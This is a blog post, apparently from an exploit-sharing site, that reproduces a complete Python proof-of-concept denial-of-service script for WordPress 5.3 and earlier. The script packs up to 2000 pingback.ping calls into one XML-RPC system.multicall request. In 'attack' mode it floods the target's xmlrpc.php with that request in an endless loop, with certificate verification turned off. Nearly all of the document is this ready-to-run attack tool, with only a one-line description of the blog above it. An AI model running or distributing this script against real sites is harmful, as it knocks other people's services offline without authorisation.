Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86379850

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#!/usr/bin/env python
# WordPress <= 5.3.? Denial-of-Service PoC
# Abusing pingbacks+xmlrpc multicall to exhaust connections
# @roddux 2019 | Arcturus Security | labs.arcturus.net
# TODO:
# - Try and detect a pingback URL on target site
# - Optimise number of entries per request, check class-wp-xmlrpc-server.php
from urllib.parse import urlparse
import sys, uuid, urllib3, requests
urllib3.disable_warnings()

DEBUG = True 
def dprint(X):
	if DEBUG: print(X)

COUNT=0
def build_entry(pingback,target):
	global COUNT
	COUNT +=1
	entry  = "<value><struct><member><name>methodName</name><value>pingback.ping</value></member><member>"
	entry += f"<name>params</name><value><array><data><value>{pingback}/{COUNT}</value>"
	#entry += f"<name>params</name><value><array><data><value>{pingback}/{uuid.uuid4()}</value>"
	entry += f"<value>{target}/?p=1</value></data></array></value></member></struct></value>"
	#entry += f"<value>{target}/#e</value></data></array></value></member></struct></value>" # taxes DB more
	return entry

def build_request(pingback,target,entries):
	prefix   = "<methodCall><methodName>system.multicall</methodName><params><param><array>"
	suffix   = "</array></param></params></methodCall>"
	request  = prefix
	for _ in range(0,entries): request += build_entry(pingback,target)
	request += suffix
	return request

def usage_die():
	print(f"[!] Usage: {sys.argv[0]} <check/attack> <pingback url> <target url>")
	exit(1)
	
def get_args():
	if len(sys.argv) != 4: usage_die()
	action   = sys.argv[1]
	pingback = sys.argv[2]
	target   = sys.argv[3]
	if action not in ("check","attack"): usage_die()
	for URL in (pingback,target):
		res = urlparse(URL)
		if not all((res.scheme,res.netloc)): usage_die()
	return (action,pingback,target)

def main(action,pingback,target):
	print("[>] WordPress <= 5.3.? Denial-of-Service PoC")
	print("[>] @roddux 2019 | Arcturus Security | labs.arcturus.net")
	# he checc
	if action == "check":    entries = 2
	# he attacc
	elif action == "attack": entries = 2000
	# but most importantly
	print(f"[+] Running in {action} mode")
	# he pingbacc
	print(f"[+] Got pingback URL \"{pingback}\"")
	print(f"[+] Got target URL \"{target}\"")
	print(f"[+] Building {entries} pingback calls")
	# entries = 1000 # TESTING
	xmldata = build_request(pingback,target,entries)
	dprint("[+] Request:\n")
	dprint(xmldata+"\n")
	print(f"[+] Request size: {len(xmldata)} bytes")
	if action == "attack":
		print("[+] Starting attack loop, CTRL+C to stop...")
		rcount = 0
		try:
			while True:
					try:
						resp  = requests.post(f"{target}/xmlrpc.php", xmldata, verify=False, allow_redirects=False, timeout=.2)
						#dprint(resp.content.decode("UTF-8")[0:500]+"\n")
						if resp.status_code != 200:
							print(f"[!] Received odd status ({resp.status_code}) -- DoS successful?")
					except (requests.exceptions.Timeout, requests.exceptions.ConnectionError) as e:
						pass
					rcount += 1
					print(f"\r[+] Requests sent: {rcount}",end="")
		except KeyboardInterrupt:
			print("\n[>] Attack finished",end="\n\n")
			exit(0)
	elif action == "check":
		print("[+] Sending check request")
		try:
			resp = requests.post(f"{target}/xmlrpc.php", xmldata, verify=False, allow_redirects=False, timeout=10)
			if resp.status_code != 200:
				print(f"[!] Received odd status ({resp.status_code}) -- check target url")
			print("[+] Request sent")
			print("[+] Response headers:\n")
			print(resp.headers)
			print("[+] Response dump:")
			print(resp.content.decode("UTF-8"))
			print("[+] Here's the part where you figure out if it's vulnerable, because I CBA to code it")
		except (requests.exceptions.Timeout, requests.exceptions.ConnectionError) as e:
			print("[!] Connection error")
			exit(1)
		print("[>] Check finished")

if __name__ == "__main__":
	main(*get_args())